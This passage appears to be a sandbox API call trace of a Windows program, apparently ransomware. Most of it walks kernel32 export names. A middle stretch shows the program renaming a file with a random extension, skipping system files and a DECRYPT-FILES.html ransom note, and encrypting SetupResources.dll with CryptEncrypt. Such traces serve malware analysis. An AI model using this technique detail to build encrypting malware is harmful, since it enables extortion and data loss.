lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0128.212] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0128.212] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0128.212] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0128.212] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0128.212] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0128.212] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0128.212] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0128.212] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0128.212] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0128.212] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0128.212] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0128.212] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0128.212] lstrlenA (lpString="COPYCONTEXT") returned 11 [0128.212] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0128.212] lstrlenA (lpString="COPYFILE2") returned 9 [0128.212] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0128.212] lstrlenA (lpString="COPYFILEA") returned 9 [0128.212] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0128.212] lstrlenA (lpString="COPYFILEEXA") returned 11 [0128.213] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0128.213] lstrlenA (lpString="COPYFILEEXW") returned 11 [0128.213] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0128.213] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0128.213] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0128.213] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0128.213] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0128.213] lstrlenA (lpString="COPYFILEW") returned 9 [0128.213] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0128.213] lstrlenA (lpString="COPYLZFILE") returned 10 [0128.213] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0128.213] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0128.213] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0128.213] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0128.213] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0128.213] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0128.213] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0128.213] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0128.213] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0128.213] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0128.213] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0128.213] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0128.213] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0128.213] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0128.213] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0128.213] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0128.213] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0128.213] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0128.213] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0128.213] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0128.213] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0128.213] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0128.213] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0128.214] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0128.214] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0128.214] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0128.214] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0128.214] lstrlenA (lpString="CREATEEVENTA") returned 12 [0128.214] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0128.214] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0128.214] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0128.214] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0128.214] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0128.214] lstrlenA (lpString="CREATEEVENTW") returned 12 [0128.214] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0128.214] lstrlenA (lpString="CREATEFIBER") returned 11 [0128.214] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0128.214] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0128.214] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0128.214] lstrlenA (lpString="CREATEFILE2") returned 11 [0128.214] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0128.214] lstrlenA (lpString="CREATEFILEA") returned 11 [0128.214] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0128.214] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0128.214] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0128.214] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0128.214] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0128.214] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0128.214] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0128.214] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0128.214] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0128.214] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0128.214] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0128.214] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0128.214] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0128.215] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0128.215] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0128.215] lstrlenA (lpString="CREATEFILEW") returned 11 [0128.215] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0128.215] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0128.215] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0128.215] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0128.215] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0128.215] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0128.215] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0128.215] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0128.215] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0128.215] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0128.215] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0128.215] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0128.215] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0128.215] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0128.215] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0128.215] lstrlenA (lpString="CREATEJOBSET") returned 12 [0128.215] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0128.215] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0128.215] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0128.215] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0128.215] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0128.215] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0128.215] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0128.215] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0128.215] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0128.215] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0128.215] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0128.215] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0128.215] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0128.216] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0128.216] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0128.216] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0128.216] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0128.216] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0128.216] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0128.216] lstrlenA (lpString="CREATEPIPE") returned 10 [0128.216] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0128.216] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0128.216] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0128.216] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0128.216] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0128.216] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0128.216] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0128.216] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0128.216] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0128.216] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0128.216] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0128.216] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0128.216] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0128.216] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0128.216] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0128.216] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0128.216] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0128.216] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0128.216] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0128.216] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0128.216] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0128.216] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0128.216] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0128.216] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0128.216] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0128.217] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0128.217] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0128.217] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0128.217] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0128.217] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0128.217] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0128.217] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0128.217] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0128.217] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0128.217] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0128.217] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0128.217] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0128.217] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0128.217] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0128.217] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0128.217] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0128.217] lstrlenA (lpString="CREATETHREAD") returned 12 [0128.217] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0128.217] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0128.217] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0128.217] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0128.217] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0128.217] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0128.217] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0128.217] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0128.217] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0128.217] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0128.217] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0128.217] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0128.217] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0128.217] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0128.217] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0128.218] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.h7rYd9") returned 51 [0128.218] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.h7rYd9" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml.h7ryd9"), dwFlags=0x0) returned 1 [0128.219] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0128.219] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0128.219] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0128.220] FindNextFileW (in: hFindFile=0x3b80f00, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0128.220] lstrcmpiW (lpString1="SetupResources.dll", lpString2="DECRYPT-FILES.html") returned 1 [0128.220] lstrcmpiW (lpString1="SetupResources.dll", lpString2="autorun.inf") returned 1 [0128.220] lstrcmpiW (lpString1="SetupResources.dll", lpString2="boot.ini") returned 1 [0128.220] lstrcmpiW (lpString1="SetupResources.dll", lpString2="desktop.ini") returned 1 [0128.220] lstrcmpiW (lpString1="SetupResources.dll", lpString2="ntuser.dat") returned 1 [0128.220] lstrcmpiW (lpString1="SetupResources.dll", lpString2="iconcache.db") returned 1 [0128.220] lstrcmpiW (lpString1="SetupResources.dll", lpString2="bootsect.bak") returned 1 [0128.220] lstrcmpiW (lpString1="SetupResources.dll", lpString2="ntuser.dat.log") returned 1 [0128.220] lstrcmpiW (lpString1="SetupResources.dll", lpString2="thumbs.db") returned -1 [0128.220] lstrcmpiW (lpString1="SetupResources.dll", lpString2="Bootfont.bin") returned 1 [0128.220] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\") returned 27 [0128.220] lstrlenW (lpString="SetupResources.dll") returned 18 [0128.220] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1041\\" | out: lpString1="C:\\588bce7c90097ed212\\1041\\") returned="C:\\588bce7c90097ed212\\1041\\" [0128.220] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1041\\", lpString2="SetupResources.dll" | out: lpString1="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned="C:\\588bce7c90097ed212\\1041\\SetupResources.dll" [0128.220] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0128.221] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0128.221] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=15704) returned 1 [0128.221] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0128.221] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0128.424] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0128.424] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0128.424] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0128.425] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d30000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d30000*, pdwDataLen=0x38be718*=0x100) returned 1 [0128.425] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0128.425] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0128.425] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0128.426] CloseHandle (hObject=0x5f8) returned 1 [0128.426] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.426] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d30000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d30000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0128.579] CloseHandle (hObject=0x0) returned 0 [0128.579] CloseHandle (hObject=0x5f4) returned 1 [0128.580] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0128.581] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0128.581] GetTickCount () returned 0x35872 [0128.581] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0128.581] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0128.581] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0128.581] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0128.582] lstrlenA (lpString="kernel32.dll") returned 12 [0128.582] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0128.582] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0128.582] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0128.582] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0128.582] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0128.582] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0128.582] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0128.582] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0128.582] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0128.582] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0128.582] lstrlenA (lpString="ADDATOMA") returned 8 [0128.582] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0128.582] lstrlenA (lpString="ADDATOMW") returned 8 [0128.582] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0128.582] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0128.582] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0128.582] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0128.582] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0128.582] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0128.582] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0128.582] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0128.582] lstrcpyA (in: 